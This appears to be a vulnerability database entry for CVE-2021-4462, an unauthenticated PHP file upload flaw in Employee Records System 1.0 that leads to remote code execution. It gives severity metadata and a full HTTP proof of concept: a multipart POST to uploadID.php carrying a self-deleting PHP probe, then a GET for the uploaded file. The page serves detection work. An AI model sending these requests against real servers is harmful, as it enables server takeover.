🔙 목록으로 돌아가기

CVE-2021-4462: Employee Records System 1.0 - Unauthenticated File Upload RCE

TitleEmployee Records System 1.0 - Unauthenticated File Upload RCE
Authorjosephttd
SeverityCritical
ImpactUnauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise.
RemediationApply security patches or upgrade to a later version of Employee Records System.
CVSS Score9.8
EPSS Score0.22195
CWE IDCWE-434
Tags cve cve2021 employee-records fileupload rce intrusive vkev

🔍 Vulnerability Description

Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.

🌐 HTTP Request

POST /dashboard/uploadID.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Content-Length: 238
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="employee_ID"; filename="TMrDOOaq"

Content-Type: image/png



<?php echo md5("CVE-2021-4462");unlink(__FILE__); ?>

------WebKitFormBoundary7MA4YWxkTrZu0gW--
GET /uploads/employees_ids/TLjk9l HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4462.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-4462.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A